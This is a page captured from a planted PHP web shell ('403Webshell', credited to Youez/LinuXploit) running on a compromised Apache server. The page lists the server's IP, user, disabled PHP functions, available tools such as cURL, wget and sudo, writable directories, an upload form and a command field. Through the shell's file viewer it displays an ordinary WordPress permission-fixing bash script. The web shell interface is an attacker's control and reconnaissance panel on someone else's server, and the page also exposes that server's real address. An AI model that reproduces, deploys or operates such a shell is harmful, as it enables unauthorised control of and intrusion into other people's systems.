403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.6
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html//fix-perms.sh
#!/usr/bin/env bash
set -euo pipefail

BASE_DIR="${BASE_DIR:-/var/www/html}"
EXCLUDE_DIR="${EXCLUDE_DIR:-wordpress-manager}"
WEB_GROUP="${WEB_GROUP:-www-data}"

DRY_RUN=0
if [[ "${1:-}" == "--dry-run" ]]; then
  DRY_RUN=1
fi

run() {
  if [[ "$DRY_RUN" -eq 1 ]]; then
    printf '[DRY] %q' "$1"
    shift
    for a in "$@"; do
      printf ' %q' "$a"
    done
    printf '\n'
  else
    "$@"
  fi
}

if [[ ! -d "$BASE_DIR" ]]; then
  echo "BASE_DIR no existe: $BASE_DIR" >&2
  exit 1
fi

for site_path in "$BASE_DIR"/*; do
  [[ -d "$site_path" ]] || continue

  site_name="$(basename "$site_path")"

  if [[ "$site_name" == "$EXCLUDE_DIR" ]]; then
    echo "Skip: $site_name"
    continue
  fi

  if ! getent passwd "$site_name" >/dev/null 2>&1; then
    echo "Skip (usuario no existe): $site_name"
    continue
  fi

  echo "Fix: $site_name -> $site_path"

  run chown -R "$site_name:$site_name" "$site_path"

  run find "$site_path" -xdev -type d -exec chmod 755 {} +
  run find "$site_path" -xdev -type f -exec chmod 644 {} +

  if [[ -f "$site_path/wp-config.php" ]]; then
    run chmod 644 "$site_path/wp-config.php"
  fi

  for writable_rel in "wp-content/uploads" "wp-content/cache"; do
    writable_path="$site_path/$writable_rel"
    if [[ -d "$writable_path" ]]; then
      run chown -R "$site_name:$WEB_GROUP" "$writable_path"
      run find "$writable_path" -xdev -type d -exec chmod 775 {} +
      run find "$writable_path" -xdev -type f -exec chmod 664 {} +
    fi
  done
done

echo "Done."

Youez - 2016 - github.com/yon3zu
LinuXploit